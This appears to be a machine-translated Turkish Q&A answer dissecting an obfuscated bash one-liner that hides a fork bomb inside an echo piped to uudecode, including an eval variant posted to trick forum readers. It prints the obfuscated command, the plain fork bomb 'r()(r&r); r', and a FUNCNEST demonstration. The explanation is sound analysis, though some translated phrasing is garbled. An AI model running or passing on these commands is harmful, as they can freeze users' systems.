Öncelikle tüm komutlara bakalım:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
Bu yankılanan çift tırnaklı bir dize içerir uudecode
. Ancak, çift tırnaklı dize içinde geri tırnaklı bir dize olduğunu unutmayın. Bu dize yürütülür . Dize:
`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`
İçinde ne olduğuna bakarsak, üç komut görüyoruz:
rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r
Sahne ayracı genişleme orta komuta elimizde:
rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r
İlk satır, arka planda saçma bir komut çalıştırmaya çalışır. Bu önemsiz.
İkinci satır önemlidir: r
Çalıştırıldığında iki kopyasını başlatan bir işlevi tanımlar . Bu kopyaların her biri elbette iki kopya daha yayınlayacak. Ve bunun gibi.
Üçüncü hat r
, çatal bomba başlatarak çalışır .
Geri kodlanan dizginin dışındaki kodun geri kalanı gizlilik için saçma.
Komut güvenli bir şekilde nasıl çalıştırılır
İşlev yerleştirme seviyesine sınır koyarsak bu kod güvenle çalıştırılabilir. Bu bash FUNCNEST
değişkeni ile yapılabilir . İşte, onu ayarladık 2
ve bu özyinelemeyi durdurur:
$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line
Yukarıdaki hata mesajları (a) saçma komutları olduğunu rYWdl
ve Y29j
bulunmadığını, (b) çatal bombanın FUNCNEST tarafından defalarca durdurulduğunu ve (c) çıktısının echo
başlamadığını begin
ve bunun için geçerli bir giriş olmadığını gösteriyor uudecode
.
En basit şekliyle çatal bomba
Gizlenmeyi kaldırırsak çatal bomba neye benzerdi? Njzk2 ve gerrit'in önerdiği gibi, şöyle görünürdü:
echo "`r()(r&r);r`"
Bunu daha da basitleştirebiliriz:
r()(r&r); r
Bu iki ifadeden oluşur: biri çatal-bomba işlevini r
ve ikincisi de tanımlar r
.
Borunun da dahil olduğu diğer tüm kodlar uudecode
sadece gizlilik ve yanlış yönlendirme için vardı.
Orijinal form başka bir yanlış yönlendirme katmanına daha sahipti
OP, bu kodun göründüğü yönetim kurulu tartışmasına bir link vermiştir. Orada sunulduğu gibi kod benziyordu:
eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
Bu kod hakkında ilk yorumlardan birine dikkat edin:
Bunun için düştüm. Yalnızca yankılanan ve kod çözen kısmını kopyaladı, ancak yine de çatallı çıktı
Kanal panosundaki formda, sorunun doğal olarak eval
çıktının üzerinde çalışan ifade olacağını düşünmesi gerekir uudecode
. Bu, kaldırmanın eval
sorunu çözeceğini düşünmeye yol açacaktır . Yukarıda gördüğümüz gibi, bu yanlış ve tehlikelidir.